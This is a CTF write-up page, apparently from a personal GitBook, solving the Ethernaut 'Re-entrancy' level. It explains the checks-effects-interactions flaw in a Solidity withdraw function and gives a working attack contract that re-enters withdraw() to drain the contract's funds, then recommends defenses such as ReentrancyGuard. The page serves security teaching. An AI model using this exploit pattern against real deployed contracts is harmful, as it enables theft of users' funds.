ctfwriteup
  • โœ…/home/ret2basic.eth
  • Game Hacking
    • ๐Ÿ‘‘Pwn Adventure 3: Pwnie Island
      • โœ…Prep: Speed Hack
      • โœ…Prep: Infinite Health and Mana (Offline)
      • โœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • โœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • โœ…Step 1: Setup
      • โœ…Step 2: Scan for "Exact Value"
      • โœ…Step 3: Scan for "Unknown initial value"
      • โœ…Step 4: Scan for float and double
      • โœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • ๐Ÿ‘‘Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • ๐Ÿ‘‘Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • โœ…Unstoppable
      • โœ…Naive Receiver
      • โœ…Truster
      • โœ…Side Entrance
      • โœ…The Rewarder
      • โœ…Selfie
      • โœ…Compromised
      • โœ…Puppet
      • โœ…Puppet V2
      • โœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • โœ…Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • โœ…Meta Staking
      • โœ…Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • โœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • โœ…Crystal DAO
      • โœ…Liquidatoooor
    • โœ…Ethernaut
      • โœ…Hello Ethernaut
      • โœ…Fallback
      • โœ…Fallout
      • โœ…Coin Flip
      • โœ…Telephone
      • โœ…Token
      • โœ…Delegation
      • โœ…Force
      • โœ…Vault
      • โœ…King
      • โœ…Re-entrancy
      • โœ…Elevator
      • โœ…Privacy
      • โœ…Gatekeeper One
      • โœ…Gatekeeper Two
      • โœ…Naught Coin
      • โœ…Preservation
      • โœ…Recovery
      • โœ…MagicNumber
      • โœ…Alien Codex
      • โœ…Denial
      • โœ…Shop
      • โœ…DEX
      • โœ…DEX Two
      • โœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • โœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • โœ…Flashbots MEV-Share CTF
    • โœ…Capture the Ether
      • โœ…Lotteries
      • โœ…Math
      • โœ…Miscellaneous
    • โœ…EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…More EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…QuillCTF
      • โœ…MetaToken
      • โœ…Temporary Variable
      • KeyCraft
      • โœ…Lottery
      • โœ…Private Club
      • Voting Machine
      • โœ…Predictable NFT
      • โœ…Invest Pool
      • PseudoRandom
      • โœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • โœ…Donate
      • โœ…WETH-11
      • Panda Token
      • Gate
      • โœ…WETH10
      • โœ…Pelusa
      • โœ…True XOR
      • โœ…Collatz Puzzle
      • โœ…D31eg4t3
      • โœ…Safe NFT
      • โœ…VIP Bank
      • โœ…Confidential Hash
      • โœ…Road Closed
    • โœ…unhacked
      • โœ…reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • โœ…01 - ReturnBool
      • โœ…02 - SimpleRevert
      • โœ…03 - Return42
      • โœ…04 - RevertWithError
      • โœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • โœ…Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • ๐Ÿšฉembryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • ๐Ÿšฉbabysuid
      • Assembly Refresher
        • x86 Assembly
        • ๐Ÿšฉembryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • ๐Ÿšฉbabyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • ๐Ÿšฉbabyjail
      • Debugging Refresher
        • x86 Assembly
        • ๐Ÿšฉembryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • ๐Ÿšฉbabyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • ๐Ÿšฉbabymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • ๐Ÿšฉtoddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • ๐Ÿšฉbabyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • ๐Ÿšฉbabyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • ๐Ÿšฉbabyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • ๐Ÿšฉbabykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • โœ…Jarvis OJ Pwn Xman Series
    • โœ…Jarvis OJ Crypto RSA Series
    • โœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • โœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • โœ…Linux
        • โœ…Safe (Easy)
        • โœ…Delivery (Easy)
        • โœ…TheNotebook (Medium)
        • โœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • โœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • โœ…TCM Linux Privilege Escalation Course
      • โœ…TryHackMe - Simple CTF (Easy)
      • โœ…TryHackMe - Vulnversity (Easy)
      • โœ…TryHackMe - CMesS (Medium)
      • โœ…TryHackMe - UltraTech (Medium)
      • โœ…TryHackMe - LazyAdmin (Easy)
      • โœ…TryHackMe - Anonymous (Medium)
      • โœ…TryHackMe - tomghost (Easy)
      • โœ…TryHackMe - ConvertMyVideo (Medium)
      • โœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Description
  • Background Knowledge
  • Lecture
  • Ethereum Book
  • Code Audit
  • Solution
  • Summary
  • The DAO Hack
  1. Web3 CTF
  2. Ethernaut

Re-entrancy

reentrancy attack

PreviousKingNextElevator

Last updated 2 years ago

Description

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.

  • Fallback methods

  • Throw/revert bubbling

  • Sometimes the best way to attack a contract is with another contract.

  • See the Help page above, section "Beyond the console"

Background Knowledge

Lecture

Ethereum Book

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
// Bad
function withdraw(uint _amount) public {
    // Checks
	if(balances[msg.sender] >= _amount) {
	    // Interactions
	    (bool result,) = msg.sender.call{value:_amount}("");
	    if(result) {
		    _amount;
	    }
	    // Effects
	    balances[msg.sender] -= _amount;
	}
}

handles the call() (interaction) too early in the implementation. This call() (interaction) is supposed to happen after balances[msg.sender] -= _amount (effect):

// Good
function withdraw(uint _amount) public {
    // Checks
	if(balances[msg.sender] >= _amount) {
	    // Effects
	    balances[msg.sender] -= _amount;
	    // Interactions
	    (bool result,) = msg.sender.call{value:_amount}("");
	    if(result) {
		    _amount;
	    }
	}
}

When calling withdraw it invokes our contract again before resetting the balance, allowing us to enter the contract again with another withdraw action. This is the classic re-entrancy attack.

Solution

Enumerate how many ether is stored in the target contract:

await getBalance(contract.address)

The target contract has 0.001 ether, which is 1000000000000000 wei.

Write an attack contract in Remix IDE:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address public owner;
    IReentrance targetContract;
    uint constant targetValue = 1000000000000000; // 0.001 ether

    constructor(address _target) {
        targetContract = IReentrance(_target);
        owner = msg.sender;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function donateAndWithdraw() public payable {
        require(msg.value >= targetValue);
        targetContract.donate{value: msg.value}(address(this));
        targetContract.withdraw(msg.value); // exploit reentrancy
    }

    function withdrawAll() public returns (bool) {
        require(msg.sender == owner);
        uint totalBalance = address(this).balance;
        (bool sent, ) = msg.sender.call{value: totalBalance}("");
        require(sent);
        return sent;
    }

    receive() external payable {
        uint targetBalance = address(targetContract).balance;
        if (targetBalance >= targetValue) {
          targetContract.withdraw(targetValue);
        }
    }
}

Call donateAndWithdraw() with msg.value == 1000000000000000.

Summary

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

The DAO Hack

This contract fails to follow the pattern. In the withdraw() function:

In order to prevent re-entrancy attacks when moving funds out of your contract, use the being aware that call will only return false without interrupting the execution flow. Solutions such as or can also be used.

transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork .

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See .

Checks Effects Interactions
Checks-Effects-Interactions pattern
ReentrancyGuard
PullPayment
Source 1
Source 2
15 lines of code that could have prevented TheDAO Hack
โœ…
โœ…
Page cover image
Reentrancy - Smart Contract Programmer
ethereumbook/09smart-contracts-security.asciidoc at develop ยท ethereumbook/ethereumbookGitHub
reentrancy - Mastering Ethereum
Logo